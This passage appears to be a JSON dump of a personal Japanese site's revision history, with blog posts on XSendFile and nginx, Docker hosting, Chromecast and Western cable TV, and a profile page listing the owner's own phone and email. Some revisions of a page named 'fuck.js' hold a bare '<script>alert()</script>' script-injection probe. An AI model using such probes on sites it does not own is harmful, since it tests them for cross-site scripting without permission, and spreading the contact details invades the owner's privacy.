ディレクティブの中に\r\n\r\n```\r\nlocation /home/apps/hoge/data {\r\n alias /home/apps/hoge/data;\r\n internal;\r\n}\r\n```\r\n\r\nとか書いておくといい感じに配信できます。\r\n\r\nRuby On Rails だと send_file 使いつつ X-Accel-Mapping ヘッダを返すとかすると同じような感じでいけます。やることは基本的にヘッダ返すだけなので他の言語やフレームワークでもなんかいい方法があるでしょう。 http://wiki.nginx.org/NginxXSendfile にだいたい必要なことが全部書かれています。\r\n\r\nこれで「複雑な前処理」のあらゆる部分を非同期化しキャッシュし血の滲むような努力をすれば画像にフィルタをかけつつ縮小拡大しつつ秒間 150 枚ぐらいをミドルレンジのサーバー 1 台で配信できるようになります。血の滲む努力と言っても全部 Ruby で済んでるので C++ 書くより多分マシ、以上です。","created_at":"2014-04-22T06:52:26.000Z","updated_at":"2014-04-22T06:52:26.000Z"},{"id":2660,"name":"text/XSendFile","body":"%blog% XSendFile でそこそこ高速にファイルを配信しつつなんかやる\r\n\r\nファイルをそこそこ高速に配信しつつ、裏でなんか処理をしたいとか、認証をかけたいとか、そういう事情があることはそれなりにあります。\r\n\r\n配信状況を確認したいという程度なら fluentd でログをひろってきてなにかすればいいでしょう。\r\n\r\n- ファイルをバックエンドから非同期に拾ってきつつ状況にあわせてリダイレクトしたり配信したりする\r\n- 配信状況の確認処理がえらく複雑かつ同期的にやりたい\r\n- 認証をかけたい\r\n\r\nとかなんとか難しい条件があると難しいという話になります。ここで本当に高速なアプリケーションを開発したい場合 nginx に拡張を書くというのが現実的な解となってくるでしょう。そういうことをするには[本物の C++ プログラマーが必要](http://techblog.heartrails.com/2011/01/rails-nginx.html)ということになってきます。さらにリソースが潤沢ならば HTTP サーバーからなにから自分で書いてもよい。\r\n\r\nただ大体の場合そこまでギリギリの高速さが必要ではないでしょう。そこで XSendFile を使いましょう。速度と開発のしやすさのバランスがとれています。\r\n\r\nこれはアプリケーションがいい感じにヘッダを返して nginx やらがいい感じに設定されていれば、ファイルを nginx やらがいい感じに配信してくれるといういいやつです。\r\n\r\nSinatra を使う場合 [sinatra-xsendfile](https://github.com/vast/sinatra-xsendfile) という便利な Gem があります。\r\n\r\n/home/apps/hoge というところで動いている Sinatra アプリケーションから、 /home/apps/hoge/data/fuga というファイルを前処理をしながら /fuga という URL などから配信したいとします。\r\n\r\nアプリケーション側は以下のような感じになることでしょう\r\n\r\n```\r\nget '/fuga' do\r\n auth() # 認証とか\r\n before_process() # なんか難しい処理とか\r\n x_send_file \"data/fuga\"\r\nend\r\n```\r\n\r\nこれで nginx の設定をしていないと、 /home/apps/hoge/data/fuga へのアクセスがプログラミングされていないとか Sinatra が発狂するので nginx の server ディレクティブの中に\r\n\r\n```\r\nlocation /home/apps/hoge/data {\r\n alias /home/apps/hoge/data;\r\n internal;\r\n}\r\n```\r\n\r\nとか書いておくといい感じに配信できます。\r\n\r\nRuby On Rails だと send_file 使いつつ X-Accel-Mapping ヘッダを返すとかすると同じような感じでいけます。やることは基本的にヘッダ返すだけなので他の言語やフレームワークでもなんかいい方法があるでしょう。 http://wiki.nginx.org/NginxXSendfile にだいたい必要なことが全部書かれています。\r\n\r\nこれで「複雑な前処理」のあらゆる部分を非同期化しキャッシュし血の滲むような努力をすれば画像にフィルタをかけつつ縮小拡大しつつ秒間 150 枚ぐらいをミドルレンジのサーバー 1 台で配信できるようになります。血の滲む努力と言っても全部 Ruby で済んでるので C++ 書くより多分マシ、以上です。","created_at":"2014-04-22T06:52:32.000Z","updated_at":"2014-04-22T06:52:32.000Z"},{"id":2661,"name":"text/XSendFile","body":"%blog% XSendFile でそこそこ高速にファイルを配信しつつなんかやる\r\n\r\nファイルをそこそこ高速に配信しつつ、裏でなんか処理をしたいとか、認証をかけたいとか、そういう事情があることはそれなりにあります。\r\n\r\n配信状況を確認したいという程度なら fluentd でログをひろってきてなにかすればいいでしょう。\r\n\r\n- ファイルをバックエンドから非同期に拾ってきつつ状況にあわせてリダイレクトしたり配信したりする\r\n- 配信状況の確認処理がえらく複雑かつ同期的にやりたい\r\n- 認証をかけたい\r\n\r\nとかなんとか難しい条件があると難しいという話になります。ここで本当に高速なアプリケーションを開発したい場合 nginx に拡張を書くというのが現実的な解となってくるでしょう。そういうことをするには[本物の C++ プログラマーが必要](http://techblog.heartrails.com/2011/01/rails-nginx.html)ということになってきます。さらにリソースが潤沢ならば HTTP サーバーからなにから自分で書いてもよい。\r\n\r\nただ大体の場合そこまでギリギリの高速さが必要ではないでしょう。そこで XSendFile を使いましょう。速度と開発のしやすさのバランスがとれています。\r\n\r\nこれはアプリケーションがいい感じにヘッダを返して nginx やらがいい感じに設定されていれば、ファイルを nginx やらがいい感じに配信してくれるといういいやつです。\r\n\r\nSinatra を使う場合 [sinatra-xsendfile](https://github.com/vast/sinatra-xsendfile) という便利な Gem があります。\r\n\r\n/home/apps/hoge というところで動いている Sinatra アプリケーションから、 /home/apps/hoge/data/fuga というファイルを前処理をしながら /fuga という URL などから配信したいとします。\r\n\r\nアプリケーション側は以下のような感じになることでしょう\r\n\r\n```\r\nget '/fuga' do\r\n auth() # 認証とか\r\n before_process() # なんか難しい処理とか\r\n x_send_file \"data/fuga\"\r\nend\r\n```\r\n\r\nこれで nginx の設定をしていないと、 /home/apps/hoge/data/fuga へのアクセスがプログラミングされていないとか Sinatra が発狂するので nginx の server ディレクティブの中に\r\n\r\n```\r\nlocation /home/apps/hoge/data {\r\n alias /home/apps/hoge/data;\r\n internal;\r\n}\r\n```\r\n\r\nとか書いておくといい感じに配信できます。\r\n\r\nRuby On Rails だと send_file 使いつつ X-Accel-Mapping ヘッダを返すとかすると同じような感じでいけます。やることは基本的にヘッダ返すだけなので他の言語やフレームワークでもなんかいい方法があるでしょう。 http://wiki.nginx.org/NginxXSendfile にだいたい必要なことが全部書かれています。\r\n\r\nこれで「複雑な前処理」のあらゆる部分を非同期化しキャッシュし血の滲むような努力をすれば画像にフィルタをかけつつ縮小拡大しつつ秒間 150 枚ぐらいをミドルレンジのサーバー 1 台で配信できるようになります。血の滲む努力と言っても全部 Ruby で済んでるので C++ 書くより多分マシ、以上です。","created_at":"2014-04-22T06:52:36.000Z","updated_at":"2014-04-22T06:52:36.000Z"},{"id":2662,"name":"index","body":"\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n# ssig33.com\r\n\r\n## Contents \u0026 Service\r\n\r\n[Texts](http://ssig33.com/text) \r\n\r\n[Rolling Icon](http://icon.ssig33.com) *Twitter Icon Manager that's very cool.*\r\n\r\n[Money Please](http://kanekure.ssig33.com) *KANEKURE Platform*\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[Contact Infomation](/連絡先) (for Japanese)\r\n\r\n[Recent Update of This Site](/recent)\r\n\r\n[others](/others)\r\n\r\n## Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90 1450 2501 \r\n**Living at: SECRET** \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Skype :** live:ssig33skype \r\n**Job :** Scinario Writer, Software Engineer \r\n**Face :** \r\n![img](http://g.ssig33.com/55511f527a08c050ea91aa722ea5aab0)\r\n\r\n## Skill\r\n- Ruby\r\n- Ruby on Rails\r\n- Sinatra\r\n- MySQL\r\n- MongoDB\r\n- RSpec\r\n- Behavior Driven Development\r\n- JavaScript \u0026 Ajax \u0026 HTML5\r\n- HTML \u0026 CSS\r\n- Japanese\r\n- English(a bit)\r\n- Know much about History of Nanbokucho(JPN), Muromachi(JPN), and Sanguozhi(CN)\r\n\r\n\u003cmeta name=\"imagefront-domain-verification\" content=\"d96ef64e-c49b-11e3-87f6-56847afe9799\" /\u003e","created_at":"2014-04-22T08:19:45.000Z","updated_at":"2014-04-22T08:19:45.000Z"},{"id":2663,"name":"index","body":"\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n# ssig33.com\r\n\r\n## Contents \u0026 Service\r\n\r\n[Texts](http://ssig33.com/text) \r\n\r\n[Rolling Icon](http://icon.ssig33.com) *Twitter Icon Manager that's very cool.*\r\n\r\n[Money Please](http://kanekure.ssig33.com) *KANEKURE Platform*\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[Contact Infomation](/連絡先) (for Japanese)\r\n\r\n[Recent Update of This Site](/recent)\r\n\r\n[others](/others)\r\n\r\n## Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90 1450 2501 \r\n**Living at: SECRET** \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Skype :** live:ssig33skype \r\n**Job :** Scinario Writer, Software Engineer \r\n**Face :** \r\n![img](http://g.ssig33.com/a44361f66562091e8593f97f84408ccb)\r\n\r\n## Skill\r\n- Ruby\r\n- Ruby on Rails\r\n- Sinatra\r\n- MySQL\r\n- MongoDB\r\n- RSpec\r\n- Behavior Driven Development\r\n- JavaScript \u0026 Ajax \u0026 HTML5\r\n- HTML \u0026 CSS\r\n- Japanese\r\n- English(a bit)\r\n- Know much about History of Nanbokucho(JPN), Muromachi(JPN), and Sanguozhi(CN)\r\n\r\n\u003cmeta name=\"imagefront-domain-verification\" content=\"d96ef64e-c49b-11e3-87f6-56847afe9799\" /\u003e","created_at":"2014-04-22T08:21:17.000Z","updated_at":"2014-04-22T08:21:17.000Z"},{"id":2664,"name":"text/クラウドソーシング","body":"%blog%\r\n\r\n1. クラウドソーシングやってる会社から求人メールがくる\r\n2. ssig33「自社のサイトで人集めたらどうなんですか」\r\n3. ク「それはいまいちなので、、、」\r\n\r\nということがこの前ありました。全部が全部そんなんだとは思いませんが、ちゃんとドッグフード食ってるところあんまないなあというのはまあ。\r\n\r\n大変ですね。","created_at":"2014-04-24T01:57:33.000Z","updated_at":"2014-04-24T01:57:33.000Z"},{"id":2665,"name":"text/クラウドソーシング","body":"%blog%\r\n\r\n1. クラウドソーシングやってる会社から求人メールがくる\r\n2. ssig33「自社のサイトで人集めたらどうなんですか」\r\n3. ク「それはいまいちなので、、、」\r\n\r\nということがこの前ありました。全部が全部そんなんだとは思いませんが、ちゃんとドッグフード食ってるところあんまないなあというのはまあ。\r\n\r\n大変ですね。","created_at":"2014-04-24T01:57:43.000Z","updated_at":"2014-04-24T01:57:43.000Z"},{"id":2666,"name":"text/クラウドソーシング","body":"%blog%\r\n\r\n1. クラウドソーシングやってる会社から求人メールがくる\r\n2. ssig33「自社のサイトで人集めたらどうなんですか」\r\n3. ク「それはいまいちなので、、、」\r\n\r\nということがこの前ありました。全部が全部そんなんだとは思いませんが、ちゃんとドッグフード食ってるところあんまないなあというのはまあ。\r\n\r\n大変ですね。","created_at":"2014-04-24T01:57:53.000Z","updated_at":"2014-04-24T01:57:53.000Z"},{"id":2667,"name":"text/DHH についての見解","body":"%blog%\r\n\r\nDHH の主張って\r\n\r\n- TDD は糞だ\r\n - TDD によって「テストのしやすさ」が主眼となるため設計がむしろ歪む\r\n- DCI は糞だ、 Concerns でいいだろ\r\n - Concerns の結果として超絶巨大なドメインモデルが実行時に作られたところで知ったことではない\r\n\r\nとかそんな感じで、ある種の複雑さを許容しよう。結果として最適な設計を得られる。というような感じのことが多いと思ってます。\r\n\r\nソフトウェアというのは元来複雑なものです。結局のところ、その複雑さをどのレイヤーで受け入れるかというのが、ソフトウェア開発の本質の一つではないかと思います。 DHH の主張というのは、それを薄く広く受け入れろというようになっている。\r\n\r\n一方で TDD や DCI の仕組みって人に何かをアサインする人が全体的な整合性を整えて、あとの人は目の前の問題解決に注力するみたいな形になりがちで、中央集権的と言えると思う。\r\n\r\nつまらない話だが\r\n\r\n- チームの人員全体がある水準を越えているならば、 DHH の主張を真に受けても大丈夫\r\n- そうじゃないなら真に受けるな\r\n\r\nみたいな話になってくる。うまくバランスをとっていきたいものです。\r\n\r\nところで彼の主張の一つに「Cucumber を使うものは白痴」というようなものがあり、これに関しては全面的に首肯するところであります。","created_at":"2014-04-28T04:37:22.000Z","updated_at":"2014-04-28T04:37:22.000Z"},{"id":2668,"name":"text/一週間フレンズ。読んで思ったこと","body":"%blog%\r\n\r\n本作において藤宮香織の記憶障害は心因性のものであることが示唆されています。\r\n\r\nこの設定により、藤宮香織の精神状態をいじる要素を投入するだけで、藤宮香織の記憶を自由に操作できます。これによりストーリーに適度な緊張感が常に維持されます。作劇上は優れたアイディアであると言えるでしょう。\r\n\r\n上記の設定が端的に説明されているのは以下のシーンです\r\n\r\n![PTSD](http://s.ssig33.com/gyazo/1713336b33c64b26874d2ff3576498e4) \r\n![PTSD](http://s.ssig33.com/gyazo/9f24c90b82874ad7868887ee38a612cb)\r\n\r\n命に関わる出来事が起きた結果、その原因となった出来事を回避する傾向が長期間に渡って発生しており、典型的な PTSD と言えるでしょう。\r\n\r\nよって、藤宮香織の両親や友達がすべきことはただ一つであって、彼女を精神科に連れていくことです。\r\n\r\nこういう視点で考えると、「周囲の無理解により必要とされる医療の支援を得られていないために症状がどんどんおかしな方向に悪化していくかわいそうな被害者の話」というふうにマンガを読めて最高の気持ちになります。","created_at":"2014-05-01T09:32:34.000Z","updated_at":"2014-05-01T09:32:34.000Z"},{"id":2669,"name":"text/Docker 運用しまくって得られたしょぼい知識","body":"%blog%\r\n\r\nよく知られているように Docker ではコンテナ自体は使い捨てで、アプリケーションが保持すべきデータはコンテナの外に格納する必要があります。\r\n\r\n## RDBMS\r\n多くのアプリケーションが RDBMS を使用しています。 RDBMS の運用は実際のところかなり厄介ですが、まあ Amazon RDS を使っちゃいましょう。それが一番楽です。 EC2 じゃないところにサーバー置いてて RDS との通信量課金を払いたくないという場合は適宜頑張ってください。\r\n\r\n## Redis と memcached\r\n現代の多くのアプリケーションが Redis や memcached を使っています。これも Amazon Web Services に ElastiCache があるので EC2 にサーバー置いてる場合はこれを使います。置いてない場合は適宜頑張ります。\r\n\r\n## その他\r\nここまでのことは特に何ということもないのですが、ここからが問題です。アプリケーションによっては RDBMS や Redis などに格納出来ないようなタイプのデータを扱うことが多々あります。\r\n\r\n典型的な例としては画像データや音楽データやビデオなどのマルチメディアデータが挙げられるでしょう。\r\n\r\nここまでの話の流れからするとさあ Amazon S3 だというふうに行きたいところなのですがそうは問屋が卸しません。\r\n\r\nAmazon S3 (というか AWS)は転送量ベースでの課金が非常に高額なのです。これが HTML の配信だとか、 RDS との通信とかだとさほど問題にならないのですが、画像となると一瞬にして問題になります。僕が運営している [Rolling Icon](http://icon.ssig33.com) という Twitter のアイコンを管理するツールの場合でも一瞬にして月 1 万円越えしました。\r\n\r\n1 万円は払ってらんねーわということでさくらの VPS を使いましょう。さくらの VPS はストレージが 200GB とかあって安定していて転送量ベースでの課金の無いサーバーを月 1500 円とかで借りることができます。\r\n\r\n転送量課金がないのをいいことにさくらをコンテンツ配信に使うのどうなのよ、、、という気がしてこなくもないですが、[公式ブログにそういう蛮行をしている事例](http://knowledge.sakura.ad.jp/case-study/1664/)が掲載されているので気にしない方針でいきましょう。\r\n\r\n同様の要件に対して GMO クラウドを使ったこともあるのですが、 GMO クラウドはサーバーリブートしたら戻ってこなくてサポート対応になって翌朝まで待ってね♪みたいになったことがもう 3 回ぐらいあるのでもう一生使いたくありません。さくらはそういうことない。\r\n\r\nDocker を使いまくっている日本人はだいたいさくらインターネットで大量のコンテンツを配信する蛮行をしています(俺調べ)。\r\n\r\n日本国外にも高速にコンテンツ配信したい場合は AWS の転送量課金地獄を歩んでください。\r\n\r\nこういうのを頑張っておくと、アプリケーションとそのデータがきちんと疎結合になって、金が無いからコンテナを自宅に移そうだとか、自宅のリソースが逼迫してきたから一部コンテナは一時的に EC2 に置こうだとかそういうのが一瞬で出来るようになって便利。","created_at":"2014-05-16T01:35:36.000Z","updated_at":"2014-05-16T01:35:36.000Z"},{"id":2670,"name":"text/Docker 運用しまくって得られたしょぼい知識","body":"%blog%\r\n\r\nよく知られているように Docker ではコンテナ自体は使い捨てで、アプリケーションが保持すべきデータはコンテナの外に格納する必要があります。\r\n\r\n### RDBMS\r\n多くのアプリケーションが RDBMS を使用しています。 RDBMS の運用は実際のところかなり厄介ですが、まあ Amazon RDS を使っちゃいましょう。それが一番楽です。 EC2 じゃないところにサーバー置いてて RDS との通信量課金を払いたくないという場合は適宜頑張ってください。\r\n\r\n### Redis と memcached\r\n現代の多くのアプリケーションが Redis や memcached を使っています。これも Amazon Web Services に ElastiCache があるので EC2 にサーバー置いてる場合はこれを使います。置いてない場合は適宜頑張ります。\r\n\r\n### その他\r\nここまでのことは特に何ということもないのですが、ここからが問題です。アプリケーションによっては RDBMS や Redis などに格納出来ないようなタイプのデータを扱うことが多々あります。\r\n\r\n典型的な例としては画像データや音楽データやビデオなどのマルチメディアデータが挙げられるでしょう。\r\n\r\nここまでの話の流れからするとさあ Amazon S3 だというふうに行きたいところなのですがそうは問屋が卸しません。\r\n\r\nAmazon S3 (というか AWS)は転送量ベースでの課金が非常に高額なのです。これが HTML の配信だとか、 RDS との通信とかだとさほど問題にならないのですが、画像となると一瞬にして問題になります。僕が運営している [Rolling Icon](http://icon.ssig33.com) という Twitter のアイコンを管理するツールの場合でも一瞬にして月 1 万円越えしました。\r\n\r\n1 万円は払ってらんねーわということでさくらの VPS を使いましょう。さくらの VPS はストレージが 200GB とかあって安定していて転送量ベースでの課金の無いサーバーを月 1500 円とかで借りることができます。\r\n\r\n転送量課金がないのをいいことにさくらをコンテンツ配信に使うのどうなのよ、、、という気がしてこなくもないですが、[公式ブログにそういう蛮行をしている事例](http://knowledge.sakura.ad.jp/case-study/1664/)が掲載されているので気にしない方針でいきましょう。\r\n\r\n同様の要件に対して GMO クラウドを使ったこともあるのですが、 GMO クラウドはサーバーリブートしたら戻ってこなくてサポート対応になって翌朝まで待ってね♪みたいになったことがもう 3 回ぐらいあるのでもう一生使いたくありません。さくらはそういうことない。\r\n\r\nDocker を使いまくっている日本人はだいたいさくらインターネットで大量のコンテンツを配信する蛮行をしています(俺調べ)。\r\n\r\n日本国外にも高速にコンテンツ配信したい場合は AWS の転送量課金地獄を歩んでください。\r\n\r\nこういうのを頑張っておくと、アプリケーションとそのデータがきちんと疎結合になって、金が無いからコンテナを自宅に移そうだとか、自宅のリソースが逼迫してきたから一部コンテナは一時的に EC2 に置こうだとかそういうのが一瞬で出来るようになって便利。","created_at":"2014-05-16T01:36:48.000Z","updated_at":"2014-05-16T01:36:48.000Z"},{"id":2671,"name":"text/Chromecast 買った","body":"%blog%\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003eChromecast Default Media Receiver で課題を解決できるなら楽に使えるし、ようは手元にデータ沢山あってサーバー運営する知識もある人なら買いだな\u003c/p\u003e\u0026mdash; 松浦だるま団副団長 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/statuses/472252837657735169\"\u003eMay 30, 2014\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003eChromecast 自分が作ってる Web アプリを 30 分で Chromecast 対応に出来たので、まあよく出来てる。けどこれ開発者以外の人が買って何が嬉しいんだろうか。\u003c/p\u003e\u0026mdash; 松浦だるま団副団長 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/statuses/472258958795632640\"\u003eMay 30, 2014\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003eChromecast 大量のデータ持っててプログラミング出来る人にとっては本当に最高のデバイスだな。\u003c/p\u003e\u0026mdash; 松浦だるま団副団長 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/statuses/472262148920315904\"\u003eMay 30, 2014\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003e大量のデータ持っててしかもそれが WiFi 経由で配信できるように無理無く圧縮されていてプログラミングも出来るという人自分以外に国内に 15 人ぐらいいそう。\u003c/p\u003e\u0026mdash; 松浦だるま団副団長 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/statuses/472262442014101505\"\u003eMay 30, 2014\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\nWeb 開発者なら Chromecast を買ったほうがいいのではと思いました。上記の通りアプリケーションの Chromecast 対応って本当に簡単なので、対応サイトやアプリ増えるのはそこそこ期待できると思うけど、今のところそんなに対応してるの無いので開発者以外は買わないほうがいい。","created_at":"2014-05-30T23:57:45.000Z","updated_at":"2014-05-30T23:57:45.000Z"},{"id":2672,"name":"text/Chromecast 買った","body":"%blog%\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003eChromecast Default Media Receiver で課題を解決できるなら楽に使えるし、ようは手元にデータ沢山あってサーバー運営する知識もある人なら買いだな\u003c/p\u003e— 松浦だるま団副団長 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/statuses/472252837657735169\"\u003eMay 30, 2014\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003eChromecast 自分が作ってる Web アプリを 30 分で Chromecast 対応に出来たので、まあよく出来てる。けどこれ開発者以外の人が買って何が嬉しいんだろうか。\u003c/p\u003e— 松浦だるま団副団長 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/statuses/472258958795632640\"\u003eMay 30, 2014\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003eChromecast 大量のデータ持っててプログラミング出来る人にとっては本当に最高のデバイスだな。\u003c/p\u003e— 松浦だるま団副団長 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/statuses/472262148920315904\"\u003eMay 30, 2014\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003e大量のデータ持っててしかもそれが WiFi 経由で配信できるように無理無く圧縮されていてプログラミングも出来るという人自分以外に国内に 15 人ぐらいいそう。\u003c/p\u003e— 松浦だるま団副団長 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/statuses/472262442014101505\"\u003eMay 30, 2014\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\nWeb 開発者なら Chromecast を買ったほうがいいのではと思いました。上記の通りアプリケーションの Chromecast 対応って本当に簡単なので、対応サイトやアプリ増えるのはそこそこ期待できると思うけど、今のところそんなに対応してるの無いので開発者以外は買わないほうがいい。\r\n\r\nあと Android 使ってる人なら普段使うブラウザを Chrome Beta にしとけば video 要素の内容を Chromecast に送りつけられて便利。","created_at":"2014-05-30T23:59:41.000Z","updated_at":"2014-05-30T23:59:41.000Z"},{"id":2673,"name":"fuck.js","body":"raw\r\nmime js\r\nalert()","created_at":"2014-06-02T05:36:06.000Z","updated_at":"2014-06-02T05:36:06.000Z"},{"id":2674,"name":"fuck.js","body":"\u003cscritp\u003ealert()\u003c/script\u003e","created_at":"2014-06-02T05:37:21.000Z","updated_at":"2014-06-02T05:37:21.000Z"},{"id":2675,"name":"fuck.js","body":"\u003cscript\u003ealert()\u003c/script\u003e","created_at":"2014-06-02T05:37:39.000Z","updated_at":"2014-06-02T05:37:39.000Z"},{"id":2676,"name":"fuck.js","body":"raw\r\nmime js\r\nalert()","created_at":"2014-06-02T05:38:59.000Z","updated_at":"2014-06-02T05:38:59.000Z"},{"id":2677,"name":"text/欧米のテレビは他チャンネル","body":"%blog% 欧米のテレビは他チャンネルという話の実態、そして AppleTV や Chromecast とかの話\r\n\r\nおはようございます、 [Chromecast 微妙](http://ssig33.com/text/Chromecast%20%E8%B2%B7%E3%81%A3%E3%81%9F)ですね。「Chromecast 買って AppleTV の良さ分かった」とか言ってる人が結構多くて AppleTV にしてもみんな割と買ったけど使ってなかったみたいのじゃないかと想像しています。\r\n\r\n今日はよく言われる「欧米のテレビは多チャンネル」という話の実態について書きます。\r\n\r\n## 要旨\r\n- 欧米それぞれ具体的な事情は違うが電波が使い物にならないのでケーブルテレビが流行った\r\n- 多チャンネルって言ってもそんな面白いの無い\r\n- 視聴者は別に多チャンネルそこまで求めてないので動画配信サービスなどに客が流れる\r\n\r\n## ケーブルテレビの普及\r\n欧米のテレビが何故多チャンネル化したかというと、ケーブルテレビの放送事業者同士の競争が極めて激しいからです。これは単純な話で、うちのケーブルテレビを契約したら他所より見られるチャンネルが多いよ〜みたいな感じで競争を繰り広げた結果です(過去そうだったという話で現在アメリカでは地域内においてケーブル事業者間の競争があるケースは稀です)。\r\n\r\n### その理由は?\r\nその理由はアメリカとヨーロッパでそれぞれに違います。\r\n\r\nアメリカの場合は国土が広すぎて電波放送では効率が悪すぎることが主因です。同様の理由で衛星放送や衛星インターネットサービスなどもそれなりの存在感を維持しています。これはまあ日本でも比較的良く事情が知られているところです。\r\n\r\nヨーロッパの事情に関してはあまり日本では有名では無いのではないでしょうか。ヨーロッパでケーブルテレビが一般的となった理由もアメリカと同様に、電波放送が使い物にならないからです。ですがヨーロッパの場合はアメリカとは事情が違い、ヨーロッパという比較的狭い地域に国が密集しすぎていることが原因です。\r\n\r\nヨーロッパにおいては、各国毎に電波放送テレビ局は原則 3 局までしか設置できないという取り決めがあります。これはあんまり好き勝手どっかの国が電波を使いまくると近隣諸国にも迷惑がかかるとかそんなんが理由っぽいです(あんまり調べてない)。\r\n\r\nこれでは 3 個までしか放送局が作れないというわけでいかにも少ないです。パラグアイでももっと放送局があります。\r\n\r\nこうした問題を解決する為に、例えばオランダでは、公共放送を 3 個流して、番組に関しては複数の番組制作事業者に制作させることで多様性を保とうとしたりしています(この仕組みは上手く行っているとは言い難く近年縮小傾向にあります)。\r\n\r\nですが何をどう頑張ったとしても 3 個のテレビ局で人々が満足できるわけもなくケーブルテレビに人が流れていったという次第なわけです。\r\n\r\n## 多チャンネルの実態\r\nこれまでで多チャンネル化の原因はケーブルテレビにあること、欧米それぞれの事情でケーブルテレビが普及したことを記しました。ではその多チャンネル放送の実態について述べましょう。\r\n\r\nまず客観的なことですが、ヨーロッパにおいて何十とか何百とか放送が見られるケーブルテレビ局と契約したとして、その内自国語の放送は数分の一とか、悪くすると数十分の一だったりします。結構雑にヨーロッパ中の番組が流れてくるということです。これはヨーロッパでは RTL だったり FOX だったりの巨大メディア企業が大きな存在感を発揮していることとは当然無縁ではありません。\r\n\r\nこのような複雑な構造である為か、「オランダとその周辺の数カ国のみで放送されているテレビ局でイギリスで制作された英語放送の料理バラエティー番組が流れている」といった真面目にやってんのかそれというような事態も発生したりします。\r\n\r\nアメリカにおいては上記のようなことはなく、多くのテレビ局が英語放送を行なっています(当然メキシコ人向けのスペイン語放送局だとかもありますが)。\r\n\r\nまた多チャンネルの当然の帰結として、再放送がかなり多くなります(一つのチャンネルあたりでは見てる人大していないからそんなに番組を作る金がない)。このあたりの事情は日本の CS 放送局とだいたい同じで、一日のうち新番組は 1〜2 時間しか無いようなテレビ局とかもザラです。\r\n\r\nまた上記のような過剰サービスの結果、欧米のケーブルテレビ局の月額使用料はかなり高額になってしまっています。\r\n\r\n## そしてどうなっているのか\r\nイタリア人がドイツ語で放送されるテレビ局を見られるだとか、ニューヨークに住んでいる人間が深南部のキリスト教原理主義者向けに延々とカントリーミュージックとバイクの改造に関する番組を流しているテレビ局を見られるだとかしても、それは全く嬉しくないわけで、徐々に徐々にケーブルテレビ離れは進んでいます。\r\n\r\nその受け皿となっているのがインターネットであることは驚くに価しないことでしょう。 Netflix や Hulu をはじめとする有料動画配信サービスが欧米において広く受け入れられたのは「ケーブルテレビよりは安い」からに他なりません。この手のサービスの最も安価なプランだけ契約して、プランに含まれない興味のある動画があった場合個別に購入して視聴するというのは、何もかもごったまぜのケーブルテレビと契約するよりも合理的です。\r\n\r\nまたそうした配信サービスのユーザー体験を向上させるデバイスとして Chromecast や AppleTV のような STB であったり GoogleTV のようなスマートテレビ(Google TV はアメリカではスマートテレビの OS としてかなり普及してます)が欧米では大きな存在感を発揮するのです。\r\n\r\n全く余談ではありますがケーブルテレビの視聴を快適にしようという方向の市場も当然に存在しており、 Xbox One などはそちらに\"も\"乗るような形になっています。\r\n\r\n逆に言えば無料放送が地上波と衛星放送あわせて(最も多い首都圏で) 13 局もあり有料公共放送も 4 局あり、一日中それらがそれなりに高品質な番組を配信しているような日本において、インターネット上での有料動画配信サービスがいまいち存在感を発揮できないこと、そしてその端末としての AppleTV のような STB であるとかスマートテレビであるとかがあまり存在感を発揮出来ないのは当然のことなのです。\r\n\r\n## エアリオは何故裁判になるのか\r\n[最近も話題になっていますが](http://www3.nhk.or.jp/news/business_tokushu/2014_0513.html)、アメリカにおいてもまねき TV 訴訟のようなやつが起きています。俎上に上がる問題が適法違法以前のこととして、人が訴訟を起こすのは自らの利益が毀損されている場合であるというのは当然のことです。日本においてテレビ局がまねき TV を提訴したのは、キー局と地域局というビジネスモデルを根底から破壊しかねないサービスだったからと言えるでしょう。\r\n\r\nではアメリカにおいてまねき TV 